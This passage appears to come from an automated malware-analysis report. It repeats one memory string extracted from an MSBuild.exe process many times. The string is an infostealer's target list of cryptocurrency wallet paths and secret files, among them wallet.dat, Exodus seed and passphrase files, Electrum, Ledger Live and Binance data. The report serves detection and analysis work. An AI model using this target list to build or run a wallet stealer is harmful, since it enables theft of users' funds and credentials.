Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local 